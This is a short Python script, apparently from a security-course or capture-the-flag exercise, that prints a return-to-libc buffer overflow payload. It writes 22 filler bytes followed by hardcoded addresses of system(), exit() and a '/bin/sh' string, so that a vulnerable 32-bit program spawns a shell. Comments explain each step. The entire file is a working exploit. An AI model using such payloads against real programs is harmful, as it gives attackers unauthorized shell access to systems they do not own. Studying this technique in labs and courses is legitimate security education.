from shellcode import shellcode
import sys

system_address = 0x0804fef0
exit_address = 0x0804f240
bin_sh_address = 0x080b0bcc

# Write garbage bytes to overflow the buffer, then the address of the system() 
# function in memory, then the address of the exit() function in memory, then 
# the address of the "/bin/sh" argument stored in memory
sys.stdout.buffer.write(b"\x41" * 22 + system_address.to_bytes(4, "little") + exit_address.to_bytes(4, "little") + bin_sh_address.to_bytes(4, "little"))